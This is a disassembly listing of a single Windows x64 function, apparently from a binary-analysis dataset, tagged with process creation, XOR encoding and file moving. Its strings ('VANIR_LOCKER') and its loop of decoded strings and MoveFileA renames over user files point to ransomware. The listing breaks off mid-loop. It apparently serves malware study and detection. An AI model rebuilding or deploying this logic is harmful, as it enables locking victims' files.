Function at 0x140045bf0
Capabilities:
Create process on windows
Encode data using xor
Move file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x500]
sub rsp, 0x600
mov rax, qword [0x1401418e0]
xor rax, rsp
mov qword [rbp + 0x4c0], rax
lea rax, [0x140047b80]
mov dword [rbp + 0x240], 0x50
xor edi, edi
mov qword [rbp + 0x248], rax
xor ecx, ecx
mov qword [rbp + 0x250], rdi
mov dword [rbp + 0x244], 0x40
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xorps xmm0, xmm0
mov qword [rbp + 0x288], rdi
mov qword [rbp + 0x258], rax
lea rcx, [rbp + 0x240]
lea rax, str.VANIR
movdqu xmmword [rbp + 0x260], xmm0
xorps xmm1, xmm1
mov qword [rbp + 0x280], rax
movdqu xmmword [rbp + 0x270], xmm1
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov rax, qword [rbp + 0x258]
lea r8, str.VANIR_LOCKER
mov rdx, qword [rbp + 0x280]
mov r9d, 0xcf0000
mov qword [rsp + 0x58], rdi
xor ecx, ecx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], 0x320
mov dword [rsp + 0x30], 0x500
mov dword [rsp + 0x28], 0x64
mov dword [rsp + 0x20], 0x64
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [rbp - 0x68], rax
lea r9d, [rdi + 0x40]
lea r8, str.Message
lea rdx, str.Successfully_Authenticated_
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140045a20
test al, al
jne 0x140045d24
lea ebx, [rdi + 0x14]
call fcn.140045a20
sub rbx, 1
jne 0x140045d17
jmp 0x140045d2b
xor ecx, ecx
call fcn.1400d780c
movaps xmmword [rsp + 0x5f0], xmm6
lea rcx, [rbp + 0x3c0]
movaps xmmword [rsp + 0x5e0], xmm7
mov edx, reloc.WLDAP32.dll_Ordinal_32
movaps xmmword [rsp + 0x5d0], xmm8
call fcn.140044810
mov edx, Ordinal_27
lea rcx, [rbp + 0x360]
call fcn.140044810
movups xmm0, xmmword [0x14012b420]
mov eax, dword [0x14012b448]
mov r15d, 4
movups xmm1, xmmword [0x14012b430]
mov r13d, dword [reloc.WS2_32.dll_accept]
mov r8d, edi
mov dword [rbp + 0x2f8], eax
movzx eax, word [0x14012b44c]
lea r12d, [r15 + 0x1b]
mov word [rbp + 0x2fc], ax
movzx eax, byte [0x14012b44e]
mov byte [rbp + 0x2fe], al
movups xmmword [rbp + 0x2d0], xmm0
movsd xmm0, qword [0x14012b440]
movsd qword [rbp + 0x2f0], xmm0
movups xmmword [rbp + 0x2e0], xmm1
cmp r13d, 2
jl 0x140045f29
movdqa xmm0, xmmword [0x14012b900]
lea rcx, [rbp + 0x2d4]
movdqa xmm5, xmmword [0x14012b870]
movdqa xmm4, xmmword [0x14012bb80]
movdqa xmm7, xmmword [0x14012b890]
movdqa xmmword [rbp + 0x290], xmm0
mov edx, dword [rbp + 0x290]
movd xmm6, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14012b8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14012b8e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x28
jl 0x140045e20
cmp r8d, 0x2f
jge 0x140045f71
movsxd rax, r8d
lea r9, [rbp + 0x2d0]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x2f
jl 0x140045f40
xorps xmm0, xmm0
lea rax, [rbp + 0x2d0]
xorps xmm1, xmm1
mov r14, 0xffffffffffffffff
movups xmmword [rbp + 0x3a0], xmm0
mov r8, r14
movdqu xmmword [rbp + 0x3b0], xmm1
inc r8
cmp byte [rax + r8], dil
jne 0x140045f97
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x3a0]
call fcn.14004d900
movsd xmm0, qword [0x14012b1f0]
xorps xmm1, xmm1
movzx ecx, word [0x14012b1f8]
mov r8, r14
movzx eax, byte [0x14012b1fa]
movsd qword [rsp + 0x60], xmm0
xorps xmm0, xmm0
xor byte [rsp + 0x61], 0x31
xor byte [rsp + 0x62], 0x32
xor byte [rsp + 0x63], 0x33
xor byte [rsp + 0x64], 0x34
xor byte [rsp + 0x65], 0x35
xor byte [rsp + 0x66], 0x36
xor byte [rsp + 0x67], 0x37
mov word [rsp + 0x68], cx
xor cl, 0x38
xor byte [rsp + 0x69], 0x39
xor al, 0x3a
mov byte [rsp + 0x60], gethostname
mov byte [rsp + 0x6a], al
lea rax, [rsp + 0x60]
mov byte [rsp + 0x68], cl
movups xmmword [rbp + 0x380], xmm0
movdqu xmmword [rbp + 0x390], xmm1
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140046030
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x380]
call fcn.14004d900
call fcn.1400b7d1c
xor edx, edx
mov ebx, eax
mov r8d, 0xa0
lea rcx, [rbp + 0x420]
call fcn.1400bc7f0
xorps xmm0, xmm0
mov qword [rbp + 0x3f0], rdi
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3e0], xmm0
mov ecx, reloc.WS2_32.dll_recv
movdqu xmmword [rbp + 0x400], xmm1
movdqu xmmword [rbp + 0x410], xmm0
call fcn.1400ba4ec
lea rcx, [rbp + 0x3f8]
mov edx, 2
mov qword [rax + 8], rdi
mov qword [rbp + 0x3f8], rax
mov qword [rax], rcx
lea rcx, [rbp + 0x420]
call fcn.1400b9288
lea rcx, [rbp + 0x470]
call fcn.1400b7c98
mov byte [rbp + 0x4b8], dil
test rbx, rbx
je 0x140046130
lea rax, [rbp + 0x3e0]
mov qword [rsp + 0x60], rax
mov rax, qword [rbp + 0x3e8]
cmp rax, qword [rbp + 0x3f0]
je 0x14004610f
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.140050a20
mov rax, qword [rbp + 0x3e8]
add rax, 0x10
mov qword [rbp + 0x3e8], rax
jmp 0x14004612a
lea r8, [rsp + 0x60]
mov rdx, rax
lea rcx, [rbp + 0x3e0]
call fcn.14004fa20
mov rax, qword [rbp + 0x3e8]
sub rbx, 1
jne 0x1400460e5
lea rcx, [rbp - 0x60]
mov eax, 5
lea rdx, [0x14012aef0]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140046140
mov eax, dword [rdx + 0x10]
mov r8d, edi
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rdx + 0x14]
mov word [rcx + 0x14], ax
cmp r13d, 2
jl 0x1400462ff
movdqa xmm0, xmmword [0x14012b900]
lea rcx, [rbp - 0x5c]
movdqa xmm5, xmmword [0x14012b870]
movdqa xmm4, xmmword [0x14012bb80]
movdqa xmm7, xmmword [0x14012b890]
movdqa xmmword [rbp + 0x290], xmm0
mov edx, dword [rbp + 0x290]
movd xmm6, r15d
movd xmm8, r12d
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14012b8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14012b8e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x290
jl 0x1400461f0
cmp r8d, 0x296
jge 0x140046344
movsxd rax, r8d
lea r9, [rbp - 0x60]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x296
jl 0x140046310
xorps xmm0, xmm0
lea rax, [rbp - 0x60]
xorps xmm1, xmm1
mov r8, r14
movups xmmword [rbp + 0x340], xmm0
movdqu xmmword [rbp + 0x350], xmm1
inc r8
cmp byte [rax + r8], dil
jne 0x140046360
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x340]
call fcn.14004d900
lea rcx, [rbp + 0x340]
call fcn.140045290
movups xmm1, xmmword [0x14012ae20]
movups xmm0, xmmword [0x14012ae10]
movups xmmword [rbp + 0x310], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rbp + 0x300], xmm0
test al, al
je 0x140046541
cmp r13d, 2
jl 0x140046503
movdqa xmm0, xmmword [0x14012b900]
lea rcx, [rbp + 0x304]
movdqa xmm5, xmmword [0x14012b870]
mov edx, edi
movdqa xmm4, xmmword [0x14012bb80]
movdqa xmm7, xmmword [0x14012b890]
movdqa xmmword [rbp + 0x290], xmm0
mov r8d, dword [rbp + 0x290]
movd xmm6, r15d
movd xmm8, r12d
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14012b8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14012b8e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x20
jl 0x140046400
jmp 0x140046541
lea r9, [rbp + 0x300]
mov r8d, edi
nop dword [rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x20
jl 0x140046510
xorps xmm0, xmm0
lea rax, [rbp + 0x300]
xorps xmm1, xmm1
mov r8, r14
movups xmmword [rbp + 0x2d0], xmm0
movdqu xmmword [rbp + 0x2e0], xmm1
inc r8
cmp byte [rax + r8], dil
jne 0x140046560
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x2d0]
call fcn.14004d900
lea rdx, [rbp + 0x2d0]
lea rcx, [rsp + 0x78]
call fcn.140043ef0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.1400438f0
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x1400465e8
mov rdx, qword [rbp - 0x80]
call fcn.14004db70
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x78]
mov rax, rcx
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x1400465e3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x140047b48
call fcn.1400b9ffc
mov rbx, qword [rbp + 0x2b0]
mov qword [rsp + 0x630], rsi
mov rsi, qword [rbp + 0x2b8]
cmp rbx, rsi
je 0x140046637
lea r9, [rbp + 0x360]
mov rdx, rbx
lea r8, [rbp + 0x3c0]
lea rcx, [rbp + 0x3e0]
call fcn.140044e90
add rbx, 0x20
cmp rbx, rsi
jne 0x140046603
mov rsi, qword [rbp + 0x2b8]
mov rbx, qword [rbp + 0x2b0]
test rbx, rbx
je 0x140046685
mov rdx, rsi
mov rcx, rbx
call fcn.14004db70
mov rcx, qword [rbp + 0x2b0]
mov rdx, qword [rbp + 0x2c0]
mov rax, rcx
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x140046680
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x140047b4e
call fcn.1400b9ffc
movups xmm1, xmmword [0x14012ae20]
movups xmm0, xmmword [0x14012ae10]
movups xmmword [rbp + 0x310], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rbp + 0x300], xmm0
test al, al
je 0x140046841
cmp r13d, 2
jl 0x140046803
movdqa xmm0, xmmword [0x14012b900]
lea rcx, [rbp + 0x304]
movdqa xmm5, xmmword [0x14012b870]
mov edx, edi
movdqa xmm4, xmmword [0x14012bb80]
movdqa xmm7, xmmword [0x14012b890]
movdqa xmmword [rbp + 0x290], xmm0
mov r8d, dword [rbp + 0x290]
movd xmm6, r15d
movd xmm8, r12d
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14012b8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14012b8e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x20
jl 0x140046700
jmp 0x140046841
lea r9, [rbp + 0x300]
mov r8d, edi
nop dword [rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x20
jl 0x140046810
xorps xmm0, xmm0
lea rax, [rbp + 0x300]
xorps xmm1, xmm1
mov r8, r14
movups xmmword [rbp + 0x2d0], xmm0
movdqu xmmword [rbp + 0x2e0], xmm1
inc r8
cmp byte [rax + r8], dil
jne 0x140046860
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x2d0]
call fcn.14004d900
lea rdx, [rbp + 0x2d0]
lea rcx, [rsp + 0x78]
call fcn.140043ef0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.1400438f0
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x1400468e8
mov rdx, qword [rbp - 0x80]
call fcn.14004db70
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x78]
mov rax, rcx
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x1400468e3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x140047b54
call fcn.1400b9ffc
mov rsi, qword [rbp + 0x2b0]
movabs r12, 0x7fffffffffffffff
mov r15, qword [rbp + 0x2b8]
cmp rsi, r15
je 0x140046aa9
movzx ebx, byte [rsp + 0x70]
nop
mov eax, dword [0x14012b25c]
xorps xmm0, xmm0
movzx ecx, word [0x14012b260]
mov r8, r14
mov dword [rsp + 0x60], eax
movzx eax, byte [0x14012b262]
xor byte [rsp + 0x61], 0x31
xor byte [rsp + 0x62], 0x32
xor byte [rsp + 0x63], 0x33
mov word [rsp + 0x64], cx
xor cl, 0x34
xor byte [rsp + 0x65], 0x35
xor al, 0x36
mov byte [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_46
mov byte [rsp + 0x66], al
lea rax, [rsp + 0x60]
mov byte [rsp + 0x64], cl
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140046970
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x78]
call fcn.14004d900
mov rcx, qword [rsi + 0x10]
mov rax, r12
mov rdx, qword [rbp - 0x78]
sub rax, rcx
cmp rax, rdx
jb 0x140047b66
cmp qword [rsi + 0x18], 0x10
mov r9, rsi
jb 0x1400469ac
mov r9, qword [rsi]
cmp qword [rbp - 0x70], 0x10
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rdx
mov r8, rsi
cmovae rax, qword [rsp + 0x78]
movzx edx, bl
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x290]
call fcn.14004ef50
cmp qword [rbp + 0x2a8], 0x10
lea rdx, [rbp + 0x290]
mov rcx, rsi
cmovae rdx, qword [rbp + 0x290]
cmp qword [rsi + 0x18], 0x10
jb 0x140046a01
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x140046a11
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0x10
jb 0x140046a52
mov rcx, qword [rbp + 0x290]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046a4d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047b60
call fcn.1400b9ffc
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x140046a8e
mov rcx, qword [rsp + 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046a89
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047b5a
call fcn.1400b9ffc
add rsi, 0x20
cmp rsi, r15
jne 0x140046910
mov r15, qword [rbp + 0x2b8]
mov rsi, qword [rbp + 0x2b0]
test rsi, rsi
je 0x140046af8
mov rdx, r15
mov rcx, rsi
call fcn.14004db70
mov rcx, qword [rbp + 0x2b0]
mov rdx, qword [rbp + 0x2c0]
mov rax, rcx
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x140046af3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047b5a
call fcn.1400b9ffc
lea rcx, str.USERPROFILE
call fcn.1400d8404
mov rbx, rax
movzx eax, word [0x14012b688]
mov word [rbp - 0x70], ax
mov esi, 4
movzx eax, byte [0x14012b68a]
mov r8d, edi
mov byte [rbp - 0x6e], al
movups xmm0, xmmword [0x14012b670]
lea r15d, [rsi + 0x1b]
movups xmmword [rsp + 0x78], xmm0
movsd xmm0, qword [0x14012b680]
movsd qword [rbp - 0x78], xmm0
cmp r13d, 2
jl 0x140046c99
movdqa xmm0, xmmword [0x14012b900]
lea rcx, [rsp + 0x7c]
movdqa xmm5, xmmword [0x14012b870]
movdqa xmm4, xmmword [0x14012bb80]
movdqa xmm7, xmmword [0x14012b890]
movdqa xmmword [rbp + 0x290], xmm0
mov edx, dword [rbp + 0x290]
movd xmm6, esi
movd xmm8, r15d
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14012b8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14012b8e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140046b90
cmp r8d, 0x1b
jge 0x140046ce1
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x1b
jl 0x140046cb0
xorps xmm0, xmm0
mov qword [rbp + 0x2c0], rdi
movups xmmword [rbp + 0x2b0], xmm0
mov qword [rbp + 0x2c8], rdi
lea rax, [rsp + 0x78]
mov r8, r14
inc r8
cmp byte [rax + r8], dil
jne 0x140046d01
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x2b0]
call fcn.14004d900
movdqa xmm1, xmmword [0x14012b820]
xorps xmm0, xmm0
movups xmmword [rbp + 0x320], xmm0
mov byte [rbp + 0x320], dil
movdqu xmmword [rbp + 0x330], xmm1
nop dword [rax]
inc r14
cmp byte [rbx + r14], dil
jne 0x140046d40
mov rcx, qword [rbp + 0x2c0]
sub r12, rcx
cmp r12, r14
jb 0x140047b6c
cmp qword [rbp + 0x2c8], 0x10
lea rax, [rbp + 0x2b0]
movzx edx, byte [rsp + 0x70]
lea r8, [rbp + 0x2b0]
cmovae rax, qword [rbp + 0x2b0]
mov r9, rbx
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x2d0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
call fcn.14004ef50
mov rdx, qword [rbp + 0x338]
cmp rdx, 0x10
jb 0x140046dde
mov rcx, qword [rbp + 0x320]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046dd9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047b42
call fcn.1400b9ffc
cmp byte [0x14012b233], dil
movups xmm0, xmmword [rbp + 0x2d0]
mov eax, dword [str._A__]
movups xmm1, xmmword [rbp + 0x2e0]
mov dword [rbp + 0x298], eax
movups xmmword [rbp + 0x320], xmm0
movsd xmm0, qword [str.FVDTR]
movsd qword [rbp + 0x290], xmm0
movups xmmword [rbp + 0x330], xmm1
je 0x140046f81
mov r8d, edi
cmp r13d, 2
jl 0x140046f41
movdqa xmm2, xmmword [0x14012b870]
mov r8d, 8
movdqa xmm4, xmmword [0x14012bb80]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14012b880]
movdqa xmm0, xmm2
mov eax, dword [0x14012b900]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, esi
movd xmm5, r15d
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14012b890]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14012b8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.FVDTR]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
